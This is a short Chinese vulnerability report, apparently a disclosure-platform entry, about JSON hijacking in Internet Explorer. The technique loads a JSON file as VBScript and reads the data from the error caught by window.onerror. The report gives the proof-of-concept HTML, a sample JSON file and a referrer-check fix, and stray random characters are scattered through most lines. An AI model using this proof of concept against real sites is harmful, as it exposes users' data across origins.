简要描述:: q4 v, Z* a t+ y( @& L
7 X& P. {+ m' B由于某些资源容器对数据处理不当导致json劫持漏洞.' @' V5 _+ a8 q! X' k
详细说明:
! }0 z0 ~' v8 b: d由于ie支持vbscript,所以script元素可以指定成vbscript语言:
R u3 m& w3 \* h4 |- ~( Q<script language=vbscript></script>
9 L* e6 E% I+ t# ~; B R6 M
0 q1 T$ v' y' t* m; Y% g1 T% ]6 O当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
2 @' w5 E0 h- i! M3 X3 A. D漏洞证明:
' [+ h+ a4 _1 @4 S<script>) \7 }9 G9 ^1 i$ h
window.onerror=function(_){
6 b. ~; j: b" [, ]6 m: Dalert(_)" A' a& r$ Q, k& h* d
}- O# e& G' ~# a. c) H0 ?- A
</script>+ t G) u1 {# {( t9 Q
<script language=vbscript src=1.json></script>
5 Q/ s/ T$ p% m6 R
- P) b& m' h% K" g $ l" s3 f1 Y O1 r& _ n
1.json:
9 S, J/ Y2 P8 {" @; ]! ^& N& ~% ^1 S6 a[{"name":"sogili","age":19}]
9 m) l; K3 E# U& U* L: S修复方案:
! a( r2 O# G% L1 S5 v' I1 a) D- A8 E网站业务对于这个问题可以通过验证referrer是否为同源来防御 |